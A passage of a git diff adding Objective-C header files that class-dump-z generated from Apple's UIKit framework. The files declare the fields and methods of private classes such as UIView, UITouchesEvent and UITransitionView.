UITouchData : NSObject { +@private + CGPoint startTouchDownLocation; + unsigned lastTapCount; + double lastTouchUpTimestamp; + double lastTouchDownTimestamp; + BOOL touchIsValidTap; + UITouch* lastTouch; +} +@end + diff --git a/igor/headers/dumpedUIKit/UITouchDiagnosticsLayer.h b/igor/headers/dumpedUIKit/UITouchDiagnosticsLayer.h new file mode 100644 index 0000000..b2216b8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITouchDiagnosticsLayer.h @@ -0,0 +1,40 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIBezierPath; + +__attribute__((visibility("hidden"))) +@interface UITouchDiagnosticsLayer : UIView { +@private + CFArrayRef _eventQueue; + UIBezierPath* _hitRectsPath; + UIBezierPath* _customHitRectsPath; + UIBezierPath* _chargesPath; + BOOL _trackTouchEvents; + BOOL _displayTouchEvents; + BOOL _displayHitRects; + BOOL _displayChargeMap; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(BOOL)layerRespondsToEvents:(id)events; +-(void)_addLayerHitRects:(id)rects toPath:(id)path customPath:(id)path3; +-(void)drawChargeMap; +-(void)drawRect:(CGRect)rect; +-(void)diagnoseEvent:(GSEventRef)event; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(void)refreshHitRects; +-(void)setTrackTouchEvents:(BOOL)events; +-(void)setDisplayHitRects:(BOOL)rects; +-(void)setDisplayTouchEvents:(BOOL)events; +-(void)setDisplayChargeMap:(BOOL)map; +-(void)tearDown; +@end + diff --git a/igor/headers/dumpedUIKit/UITouchTapInfo.h b/igor/headers/dumpedUIKit/UITouchTapInfo.h new file mode 100644 index 0000000..39006d8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITouchTapInfo.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UITouchTapInfo : NSObject { +@private + unsigned _tapCount; + float _multiTapDelay; + float _rejectAsTapThrehold; + float _viewTouchPauseThreshold; + CGPoint _startPosition; + double _startTime; +} +-(void)releaseAndClearWeakRefs; +-(void)clearTapState; +-(void)touchBegan:(id)began withEvent:(id)event; +-(BOOL)_touchLocationConsideredMovement:(id)movement; +-(void)touchMoved:(id)moved withEvent:(id)event; +-(void)touchEnded:(id)ended withEvent:(id)event; +-(BOOL)cancelTouchTracking; +@end + diff --git a/igor/headers/dumpedUIKit/UITouchesEvent.h b/igor/headers/dumpedUIKit/UITouchesEvent.h new file mode 100644 index 0000000..04777b9 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITouchesEvent.h @@ -0,0 +1,49 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIInternalEvent.h" + +@class NSMutableSet; + +__attribute__((visibility("hidden"))) +@interface UITouchesEvent : UIInternalEvent { +@private + NSMutableSet* _touches; + CFDictionaryRef _keyedTouches; +} +-(int)type; +-(id)_init; +-(id)_initWithEvent:(GSEventRef)event touches:(id)touches; +-(id)_initWithTouches:(id)touches keyedTouches:(CFDictionaryRef)touches2; +-(void)dealloc; +-(id)allTouches; +-(id)_allTouches; +-(id)touchesForWindow:(id)window; +-(id)touchesForView:(id)view; +-(id)_touchesForGestureRecognizer:(id)gestureRecognizer; +-(BOOL)_addGestureRecognizersForView:(id)view toTouch:(id)touch; +-(void)_addTouch:(id)touch; +-(void)_clearViewForTouch:(id)touch; +-(void)_removeTouch:(id)touch; +-(void)_removeTouch:(id)touch fromGestureRecognizer:(id)gestureRecognizer; +-(id)_touchesForKey:(id)key; +-(void)_removeTouchesForKey:(id)key; +-(void)_clearTouches; +-(id)_touchesForView:(id)view withPhase:(int)phase; +-(id)_touchesForGesture:(id)gesture withPhase:(int)phase; +-(void)_touchesForGesture:(id)gesture withPhase:(int)phase intoSet:(id)set; +-(id)_windows; +-(id)_gestureRecognizersForWindow:(id)window; +-(id)_sortedGestureRecognizersForWindow:(id)window; +-(id)_viewsForWindow:(id)window; +-(id)_firstTouchForView:(id)view; +-(void)_moveTouchesFromView:(id)view toView:(id)view2; +-(id)_cloneEvent; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/UITransformAnimation.h b/igor/headers/dumpedUIKit/UITransformAnimation.h new file mode 100644 index 0000000..9bbaa88 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITransformAnimation.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" +#import "UIKit-Structs.h" + + +@interface UITransformAnimation : UIAnimation { + CGAffineTransform _startTransform; + CGAffineTransform _endTransform; +} +-(void)setStartTransform:(CGAffineTransform)transform; +-(void)setEndTransform:(CGAffineTransform)transform; +-(CGAffineTransform)_transformWithMultiplier:(float)multiplier; +-(void)setProgress:(float)progress; +-(CGAffineTransform)transformForFraction:(float)fraction; +@end + diff --git a/igor/headers/dumpedUIKit/UITransitionView.h b/igor/headers/dumpedUIKit/UITransitionView.h new file mode 100644 index 0000000..9d82a76 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITransitionView.h @@ -0,0 +1,48 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIView.h" + + +@interface UITransitionView : UIView { + UIView* _fromView; + UIView* _toView; + UIResponder* _firstResponderToRemember; + id _delegate; + struct { + unsigned shouldSendTouchPauseUp : 1; + unsigned delegateViewHandleTapWithCountEvent : 1; + unsigned delegateViewHandleTapWithCountEventFingerCount : 1; + unsigned delegateViewHandleTouchPauseIsDown : 1; + unsigned reserved : 28; + } _transitionViewFlags; +} +@property(assign, nonatomic) BOOL shouldNotifyDidCompleteImmediately; ++(double)defaultDurationForTransition:(int)transition; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(double)durationForTransition:(int)transition; +-(void)_didStartTransition; +-(void)_didCompleteTransition:(BOOL)transition; +-(BOOL)transition:(int)transition toView:(id)view; +-(void)notifyDidCompleteTransition:(id)notify; +-(BOOL)transition:(int)transition fromView:(id)view toView:(id)view3; +-(id)fromView; +-(id)toView; +-(BOOL)isTransitioning; +-(void)setDelegate:(id)delegate; +-(id)delegate; +-(BOOL)ignoresInteractionEvents; +-(void)setIgnoresInteractionEvents:(BOOL)events; +-(void)_startTransition:(int)transition withDuration:(float)duration; +-(void)_transitionDidStop:(id)_transition finished:(id)finished; +@end + diff --git a/igor/headers/dumpedUIKit/UITwoSidedAlertController.h b/igor/headers/dumpedUIKit/UITwoSidedAlertController.h new file mode 100644 index 0000000..f316e7c --- /dev/null +++ b/igor/headers/dumpedUIKit/UITwoSidedAlertController.h @@ -0,0 +1,33 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIAlertView; + +@interface UITwoSidedAlertController : NSObject { + UIAlertView* _front; + UIAlertView* _back; + UIAlertView* _currentAlert; + id _delegate; +} +-(void)dealloc; +-(void)setDelegate:(id)delegate; +-(id)frontAlert; +-(id)backAlert; +-(id)createFrontAlert; +-(id)createBackAlert; +-(void)show; +-(void)dismiss; +-(void)flip; +-(void)animationDidStop:(id)animation finished:(BOOL)finished; +-(void)frontAlertClickedButtonAtIndex:(int)index; +-(void)backAlertClickedButtonAtIndex:(int)index; +-(void)alertSheet:(id)sheet buttonClicked:(int)clicked; +-(void)alertViewCancel:(id)cancel; +@end + diff --git a/igor/headers/dumpedUIKit/UIUndoAlertView.h b/igor/headers/dumpedUIKit/UIUndoAlertView.h new file mode 100644 index 0000000..5143b79 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIUndoAlertView.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAlertView.h" + +@class NSUndoManager; + +__attribute__((visibility("hidden"))) +@interface UIUndoAlertView : UIAlertView { +@private + int _undoButtonIndex; + int _redoButtonIndex; + NSUndoManager* _undoManager; +} +@property(readonly, assign, nonatomic) int undoButtonIndex; +@property(readonly, assign, nonatomic) int redoButtonIndex; +@property(readonly, assign, nonatomic) NSUndoManager* undoManager; +-(id)initWithDelegate:(id)delegate undoManager:(id)manager; +-(void)show; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIUpdateItem.h b/igor/headers/dumpedUIKit/UIUpdateItem.h new file mode 100644 index 0000000..a5d1588 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIUpdateItem.h @@ -0,0 +1,31 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSIndexPath; + +__attribute__((visibility("hidden"))) +@interface UIUpdateItem : NSObject { +@private + int _action; + NSIndexPath* _indexPath; + int _animation; + float _offset; +} +@property(readonly, assign, nonatomic) int action; +@property(readonly, assign, nonatomic) NSIndexPath* indexPath; +@property(readonly, assign, nonatomic) int animation; +@property(assign, nonatomic) float offset; +-(id)initWithAction:(int)action forIndexPath:(id)indexPath animation:(int)animation; +-(void)dealloc; +-(id)_actionDescription; +-(BOOL)isSectionOperation; +-(int)compareIndexPaths:(id)paths; +-(int)inverseCompareIndexPaths:(id)paths; +@end + diff --git a/igor/headers/dumpedUIKit/UIValueButton.h b/igor/headers/dumpedUIKit/UIValueButton.h new file mode 100644 index 0000000..1b36fb2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIValueButton.h @@ -0,0 +1,59 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIThreePartButton.h" + +@class UIColor, UIImage, NSString; + +@interface UIValueButton : UIThreePartButton { +@private + int _displayStyle; + NSString* _labelString; + NSString* _valueString; + NSString* _valueStyle; + NSString* _valueHighlightStyle; + UIImage* _labelBadgeImage; + float _disclosureAlpha; + UIColor* _valueColor; + struct { + unsigned style : 1; + unsigned reserved : 31; + } _valueButtonFlags; +} ++(float)defaultHeight; ++(CGRect)frameRectForOpaqueContentRect:(CGRect)opaqueContentRect; ++(CGRect)opaqueContentRectForFrameRect:(CGRect)frameRect; +-(void)_commonInitValueButton; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithTitle:(id)title; +-(void)dealloc; +-(id)_titleByCombiningLabelAndValue; +-(void)setValue:(id)value; +-(id)value; +-(void)setValueStyle:(id)style; +-(void)setValueHighlightStyle:(id)style; +-(void)setLabel:(id)label; +-(id)label; +-(void)setLabelBadgeImage:(id)image; +-(id)labelBadgeImage; +-(void)setTitle:(id)title; +-(void)setDisplayStyle:(int)style; +-(int)displayStyle; +-(void)setShowsDisclosure:(BOOL)disclosure; +-(BOOL)showsDisclosure; +-(float)rightEndPadding; +-(void)setDisclosureAlpha:(float)alpha; +-(float)disclosureAlpha; +-(float)buttonEdge; +-(void)_drawValueStyleInteriorInRect:(CGRect)rect withValueColor:(id)valueColor valueFont:(id)font isPressed:(BOOL)pressed; +-(void)_drawLabelAndValueStyleInteriorInRect:(CGRect)rect; +-(void)drawButtonPart:(int)part inRect:(CGRect)rect; +-(void)setValueColor:(id)color; +-(void)sizeToFit; +@end + diff --git a/igor/headers/dumpedUIKit/UIVariableDelayLoupeGesture.h b/igor/headers/dumpedUIKit/UIVariableDelayLoupeGesture.h new file mode 100644 index 0000000..47ee4ee --- /dev/null +++ b/igor/headers/dumpedUIKit/UIVariableDelayLoupeGesture.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILongPressGestureRecognizer.h" + +@class UIView; +@protocol UITextSelectingContent; + +__attribute__((visibility("hidden"))) +@interface UIVariableDelayLoupeGesture : UILongPressGestureRecognizer { +@private + UIView* _textView; +} +@property(assign) UIView* textView; +-(BOOL)isCloseToCaret; +-(void)startTimer; +@end + diff --git a/igor/headers/dumpedUIKit/UIVideoEditorController.h b/igor/headers/dumpedUIKit/UIVideoEditorController.h new file mode 100644 index 0000000..70d5e29 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIVideoEditorController.h @@ -0,0 +1,49 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UINavigationController.h" + +@class NSMutableDictionary, NSString; +@protocol UINavigationControllerDelegate, UIVideoEditorControllerDelegate; + +@interface UIVideoEditorController : UINavigationController { +@private + int _previousStatusBarMode; + NSMutableDictionary* _properties; + struct { + unsigned visible : 1; + unsigned isCleaningUp : 1; + unsigned didRevertStatusBar : 1; + } _flags; +} +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) unsigned videoQuality; +@property(assign, nonatomic) double videoMaximumDuration; +@property(copy, nonatomic) NSString* videoPath; ++(BOOL)canEditVideoAtPath:(id)path; +-(id)init; +-(void)setParentViewController:(id)controller; +-(void)viewWillAppear:(BOOL)view; +-(void)viewWillDisappear:(BOOL)view; +-(void)viewDidDisappear:(BOOL)view; +-(BOOL)_didRevertStatusBar; +-(BOOL)_isSupportedInterfaceOrientation:(int)orientation; +-(void)_removeAllChildren; +-(id)_createInitialController; +-(void)_setupControllers; +-(void)_autoDismiss; +-(void)editVideoViewControllerDidCancel:(id)editVideoViewController; +-(void)editVideoViewController:(id)controller didTrimVideoWithOptions:(id)options; +-(void)editVideoViewController:(id)controller didFailWithError:(id)error; +-(void)_setProperties:(id)properties; +-(void)_initializeProperties; +-(id)_properties; +-(void)_setValue:(id)value forProperty:(id)property; +-(id)_valueForProperty:(id)property; +@end + diff --git a/igor/headers/dumpedUIKit/UIView.h b/igor/headers/dumpedUIKit/UIView.h new file mode 100644 index 0000000..1a68992 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIView.h @@ -0,0 +1,424 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIView.h" +#import "UIResponder.h" +#import "UITextEffectsOrdering.h" + +@class NSMutableArray, CALayer, NSArray; + +@interface UIView : UIResponder { +@private + CALayer* _layer; + id _tapInfo; + id _gestureInfo; + NSMutableArray* _gestureRecognizers; + float _charge; + int _tag; + struct { + unsigned userInteractionDisabled : 1; + unsigned implementsDrawRect : 1; + unsigned implementsDidScroll : 1; + unsigned implementsMouseTracking : 1; + unsigned hasBackgroundColor : 1; + unsigned isOpaque : 1; + unsigned becomeFirstResponderWhenCapable : 1; + unsigned interceptMouseEvent : 1; + unsigned deallocating : 1; + unsigned debugFlash : 1; + unsigned debugSkippedSetNeedsDisplay : 1; + unsigned debugScheduledDisplayIsRequired : 1; + unsigned isInAWindow : 1; + unsigned isAncestorOfFirstResponder : 1; + unsigned dontAutoresizeSubviews : 1; + unsigned autoresizeMask : 6; + unsigned patternBackground : 1; + unsigned fixedBackgroundPattern : 1; + unsigned dontAnimate : 1; + unsigned superLayerIsView : 1; + unsigned layerKitPatternDrawing : 1; + unsigned multipleTouchEnabled : 1; + unsigned exclusiveTouch : 1; + unsigned hasViewController : 1; + unsigned needsDidAppearOrDisappear : 1; + unsigned gesturesEnabled : 1; + unsigned capturesDescendantTouches : 1; + unsigned deliversTouchesForGesturesToSuperview : 1; + unsigned chargeEnabled : 1; + unsigned skipsSubviewEnumeration : 1; + } _viewFlags; +} +@property(assign, nonatomic) int tag; +@property(readonly, retain, nonatomic) CALayer* layer; +@property(assign, nonatomic, getter=isUserInteractionEnabled) BOOL userInteractionEnabled; ++(Class)layerClass; +-(id)init; +-(void)_createLayerWithFrame:(CGRect)frame; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setCharge:(float)charge; +-(float)charge; +-(void)_setChargeEnabled:(BOOL)enabled; +-(BOOL)_isChargeEnabled; +-(void)setTapDelegate:(id)delegate; +-(id)tapDelegate; +-(id)nextResponder; +-(void)_clearBecomeFirstResponderWhenCapable; +-(BOOL)_becomeFirstResponderWhenPossible; +-(void)startHeartbeat:(SEL)heartbeat inRunLoopMode:(id)runLoopMode; +-(void)stopHeartbeat:(SEL)heartbeat; +-(BOOL)cancelMouseTracking; +-(BOOL)cancelTouchTracking; +-(BOOL)canHandleSwipes; +-(int)swipe:(int)swipe withEvent:(GSEventRef)event; +-(void)_setBackgroundCGColor:(CGColorRef)color; +-(CGColorRef)_backgroundCGColor; +-(BOOL)_shouldAnimatePropertyWithKey:(id)key; +@end + +@interface UIView (SyntheticEvents) +-(id)_scriptingInfo; +-(id)scriptingInfoWithChildren; +@end + +@interface UIView (UIDebugging) +-(id)_autoresizingDescription; +-(id)description; +-(void)_appendDescriptionToString:(id)string atLevel:(int)level; +-(id)recursiveDescription; +@end + +@interface UIView (CALayerDelegate) +-(void)drawLayer:(id)layer inContext:(CGContextRef)context; +-(void)setValue:(id)value forKey:(id)key; +-(void)_layoutSublayersOfLayer:(id)layer; +-(id)actionForLayer:(id)layer forKey:(id)key; +@end + +@interface UIView (UIViewGestures) +@property(assign, nonatomic) BOOL deliversTouchesForGesturesToSuperview; +@property(assign, nonatomic) BOOL capturesDescendantTouches; +@property(assign, nonatomic) BOOL gesturesEnabled; +@property(copy, nonatomic) NSArray* gestureRecognizers; +-(void)addGestureRecognizer:(id)recognizer; +-(void)removeGestureRecognizer:(id)recognizer; +-(void)removeAllGestureRecognizers; +@end + +@interface UIView (Internal) +@property(assign, nonatomic) BOOL skipsSubviewEnumeration; ++(void)_setInvalidatesViewUponCreation:(BOOL)creation; ++(BOOL)_invalidatesViewUponCreation; ++(void)_beginDisablingPromoteDescendantToFirstResponder; ++(void)_endDisablingPromoteDescendantToFirstResponder; ++(void)_setIsResponderAncestorOfFirstResponder:(BOOL)firstResponder startingAtFirstResponder:(id)firstResponder2; +-(BOOL)_subclassImplementsDrawRect; +-(id)_layer; +-(id)_scroller; +-(void)_didScroll; +-(void)_invalidateSubviewCache; +-(void)_invalidateLayerContents; +-(void)_setInterceptMouseEvent:(BOOL)event; +-(id)_interceptMouseEvent:(GSEventRef)event; +-(id)_interceptEvent:(id)event; +-(BOOL)_canDrawContent; +-(void)_didMoveFromWindow:(id)window toWindow:(id)window2; +-(BOOL)_alwaysHandleScrollerMouseEvent; +-(BOOL)_alwaysHandleInteractionEvents; +-(BOOL)_isInAWindow; +-(BOOL)_shouldTryPromoteDescendantToFirstResponder; +-(BOOL)_containedInAbsoluteResponderChain; +-(void)_mouseDown:(GSEventRef)down; +-(void)_mouseDragged:(GSEventRef)dragged; +-(void)_mouseUp:(GSEventRef)up; +-(BOOL)_cancelTapDelegateTracking; +-(BOOL)_canHandleStatusBarMouseEvents:(GSEventRef)events; +-(void)_setContentImage:(id)image; +-(void)_setContentsTransform:(CGAffineTransform)transform; +-(void)_renderSnapshotWithRect:(CGRect)rect inContext:(CGContextRef)context; +-(void)_addSubview:(id)subview positioned:(int)positioned relativeTo:(id)to; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)_setIsAncestorOfFirstResponder:(BOOL)firstResponder; +-(BOOL)_isAncestorOfFirstResponder; +-(BOOL)_usesDifferentHitTestForGestures; +-(id)_gestureTargetHitTest:(CGPoint)test withEvent:(id)event; +-(id)_containingScrollView; +-(void)_subscribeToScrollNotificationsIfNecessary:(id)scrollNotificationsIfNecessary; +-(void)_unsubscribeToScrollNotificationsIfNecessary:(id)scrollNotificationsIfNecessary; +-(id)_gestureRecognizers; +@end + +@interface UIView (Deprecated) ++(void)setAnimationTransition:(int)transition forView:(id)view; +-(id)initWithSize:(CGSize)size; +-(CGSize)size; +-(void)setSize:(CGSize)size; +-(CGPoint)frameOrigin; +-(void)setFrameOrigin:(CGPoint)origin; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(void)setEnabled:(BOOL)enabled; +-(BOOL)isEnabled; +-(void)setClipsSubviews:(BOOL)subviews; +@end + +@interface UIView (Animation) ++(void)beginAnimations:(id)animations; ++(void)beginAnimations:(id)animations context:(void*)context; ++(void)commitAnimations; ++(void)endAnimations; ++(BOOL)_pendingAnimations; ++(void)setAnimationDelegate:(id)delegate; ++(void)setAnimationPosition:(CGPoint)position; ++(void)disableAnimation; ++(void)enableAnimation; ++(void)setAnimationsEnabled:(BOOL)enabled; ++(BOOL)areAnimationsEnabled; ++(void)setAnimationDuration:(double)duration; ++(void)setAnimationDelay:(double)delay; ++(void)setAnimationFrameInterval:(double)interval; ++(void)setAnimationStartDate:(id)date; ++(void)setAnimationStartTime:(double)time; ++(void)setAnimationCurve:(int)curve; ++(void)setAnimationRepeatCount:(float)count; ++(void)setAnimationRepeatAutoreverses:(BOOL)autoreverses; ++(void)setAnimationBeginsFromCurrentState:(BOOL)currentState; ++(void)setAnimationAutoreverses:(BOOL)autoreverses; ++(void)setAnimationFromCurrentState:(BOOL)currentState; ++(void)setAnimationRoundsToInteger:(BOOL)integer; ++(void)setAnimationTransition:(int)transition forView:(id)view cache:(BOOL)cache; ++(void)setAnimationWillStartSelector:(SEL)startSelector; ++(void)setAnimationDidStopSelector:(SEL)stopSelector; +-(void)addAnimation:(id)animation forKey:(id)key; +-(void)_removeAllAnimations:(BOOL)animations; +@end + +@interface UIView (Rendering) ++(void)flush; ++(void)throttledFlush; +-(void)setContentMode:(int)mode; +-(int)contentMode; +-(void)setContentStretch:(CGRect)stretch; +-(CGRect)contentStretch; +-(void)drawRect:(CGRect)rect; +-(CGRect)visibleBounds; +-(void)setNeedsDisplay; +-(void)setNeedsDisplayInRect:(CGRect)rect; +-(BOOL)needsDisplay; +-(BOOL)needsDisplayOnBoundsChange; +-(void)setNeedsDisplayOnBoundsChange:(BOOL)change; +-(void)setClipsToBounds:(BOOL)bounds; +-(BOOL)clipsToBounds; +-(void)setBackgroundColor:(id)color; +-(id)backgroundColor; +-(void)setFixedBackgroundPattern:(BOOL)pattern; +-(void)setAlpha:(float)alpha; +-(float)alpha; +-(void)setOpaque:(BOOL)opaque; +-(BOOL)isOpaque; +-(void)setClearsContextBeforeDrawing:(BOOL)drawing; +-(BOOL)clearsContextBeforeDrawing; +-(void)setHidden:(BOOL)hidden; +-(BOOL)isHidden; +-(BOOL)isHiddenOrHasHiddenAncestor; +-(void)setClearsContext:(BOOL)context; +-(void)setContentsPosition:(int)position; +-(CGImageRef)createSnapshotWithRect:(CGRect)rect; +-(void)forceDisplayIfNeeded; +-(void)recursivelyForceDisplayIfNeeded; +-(void)_enableLayerKitPatternDrawing:(BOOL)drawing; +@end + +@interface UIView (Hierarchy) +-(BOOL)containsView:(id)view; +-(id)superview; +-(id)subviews; +-(id)window; +-(void)removeFromSuperview; +-(void)insertSubview:(id)subview atIndex:(int)index; +-(void)exchangeSubviewAtIndex:(int)index withSubviewAtIndex:(int)index2; +-(void)addSubview:(id)subview; +-(void)insertSubview:(id)subview belowSubview:(id)subview2; +-(void)insertSubview:(id)subview aboveSubview:(id)subview2; +-(void)_movedToFront; +-(void)bringSubviewToFront:(id)front; +-(void)sendSubviewToBack:(id)back; +-(void)didAddSubview:(id)subview; +-(void)willRemoveSubview:(id)subview; +-(void)willMoveToSuperview:(id)superview; +-(void)didMoveToSuperview; +-(void)_didRemoveSubview:(id)subview; +-(BOOL)_doesViewControllerExistForAncestorOfView:(id)view; +-(void)_setBackgroundColor:(id)color; +-(id)_backgroundColor; +-(void)_willMoveToWindow:(id)window withAncestorView:(id)ancestorView; +-(void)_willMoveToWindow:(id)window; +-(void)willMoveToWindow:(id)window; +-(void)didMoveToWindow; +-(void)insertSubview:(id)subview below:(id)below; +-(void)insertSubview:(id)subview above:(id)above; +-(id)_findFirstSubviewWantingToBecomeFirstResponder; +-(void)_makeSubtreePerformSelector:(SEL)selector withObject:(id)object; +-(void)_makeSubtreePerformSelector:(SEL)selector withObject:(id)object withObject:(id)object3 copySublayers:(BOOL)sublayers; +-(void)_subviewInteractivityChanged:(id)changed; +-(void)deferredBecomeFirstResponder; +-(void)_promoteDescendantToFirstResponderIfNecessary; +-(void)_postMovedFromSuperview:(id)superview; +-(void)movedFromSuperview:(id)superview; +-(void)movedToSuperview:(id)superview; +-(void)viewWillMoveToSuperview:(id)view; +-(void)viewDidMoveToSuperview; +-(void)movedFromWindow:(id)window; +-(void)movedToWindow:(id)window; +-(BOOL)isDescendantOfView:(id)view; +-(id)viewWithTag:(int)tag; +-(void)setNeedsLayout; +-(void)layoutIfNeeded; +-(void)layoutBelowIfNeeded; +-(void)layoutSubviews; +@end + +@interface UIView (Geometry) +-(CGRect)frame; +-(CGRect)extent; +-(void)setFrame:(CGRect)frame; +-(CGAffineTransform)transform; +-(void)setTransform:(CGAffineTransform)transform; +-(void)setMultipleTouchEnabled:(BOOL)enabled; +-(BOOL)isMultipleTouchEnabled; +-(void)setExclusiveTouch:(BOOL)touch; +-(BOOL)isExclusiveTouch; +-(BOOL)ignoresMouseEvents; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(CGPoint)convertPoint:(CGPoint)point toView:(id)view; +-(CGPoint)convertPoint:(CGPoint)point fromView:(id)view; +-(CGSize)convertSize:(CGSize)size toView:(id)view; +-(CGSize)convertSize:(CGSize)size fromView:(id)view; +-(CGRect)convertRect:(CGRect)rect toView:(id)view; +-(CGRect)convertRect:(CGRect)rect fromView:(id)view; +-(CGRect)hitRect; +-(void)setFrame:(CGRect)frame forFields:(int)fields; +-(void)setRotationBy:(float)by; +-(void)setAutoresizesSubviews:(BOOL)subviews; +-(BOOL)autoresizesSubviews; +-(void)setAutoresizingMask:(unsigned)mask; +-(unsigned)autoresizingMask; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)sizeToFit; +-(void)resizeSubviewsWithOldSize:(CGSize)oldSize; +-(void)resizeWithOldSuperviewSize:(CGSize)oldSuperviewSize; +-(CGRect)bounds; +-(void)setBounds:(CGRect)bounds; +-(CGPoint)position; +-(void)setPosition:(CGPoint)position; +-(CGPoint)center; +-(void)setCenter:(CGPoint)center; +-(CGPoint)origin; +-(void)setOrigin:(CGPoint)origin; +@end + +@interface UIView (UITextField) +-(BOOL)endEditing:(BOOL)editing; +@end + +@interface UIView (Gestures_Internal) +-(id)_gestureInfo; +-(void)_gestureEnded:(GSEventRef)ended; +-(CGSize)_scrollerContentSize; +-(CGPoint)_constrainedScrollPoint:(CGPoint)point contentSize:(CGSize)size; +-(void)_zoomToScrollPoint:(CGPoint)scrollPoint scale:(float)scale duration:(float)duration event:(GSEventRef)event; +-(float)_zoomAnimationDurationForScale:(float)scale; +-(void)_zoomToWindowPoint:(CGPoint)windowPoint scale:(float)scale duration:(float)duration constrainScrollPoint:(BOOL)point event:(GSEventRef)event; +-(void)_animateToScrollPoint:(CGPoint)scrollPoint; +-(void)_animateZoomFailureToWindowPoint:(CGPoint)windowPoint scale:(float)scale duration:(float)duration; +-(float)_zoomAnimationProgress; +@end + +@interface UIView (Gestures) +-(void)_startGesture:(int)gesture event:(GSEventRef)event; +-(void)_stopGesture:(int)gesture event:(GSEventRef)event; +-(void)_gestureChanged:(int)changed event:(GSEventRef)event; +-(void)animator:(id)animator startAnimation:(id)animation; +-(void)animator:(id)animator stopAnimation:(id)animation; +-(CGPoint)_scrollPointForPoint:(CGPoint)point scale:(float)scale constrain:(BOOL)constrain snapToEdge:(BOOL)edge; +-(void)zoomToScale:(float)scale; +-(void)_setGestureInfoZoomScale:(float)scale; +-(void)_zoomToScale:(float)scale event:(GSEventRef)event; +-(void)_zoomToEvent:(GSEventRef)event scale:(float)scale animate:(BOOL)animate constrainScrollPoint:(BOOL)point; +-(void)_rubberbandZoomToEvent:(GSEventRef)event scale:(float)scale; +-(BOOL)_isRubberBanding; +-(void)_setZoomAnimationProgress:(id)progress; +-(float)_internalScaleForScale:(float)scale; +-(float)_scaleForInternalScale:(float)internalScale; +-(float)_minimumZoomScaleDelta; +-(float)_rubberBandScaleForScale:(float)scale; +-(BOOL)_zoomWithEvent:(GSEventRef)event; +-(BOOL)_canStartZoomFromEvent:(GSEventRef)event; +-(BOOL)_startZoomFromEvent:(GSEventRef)event; 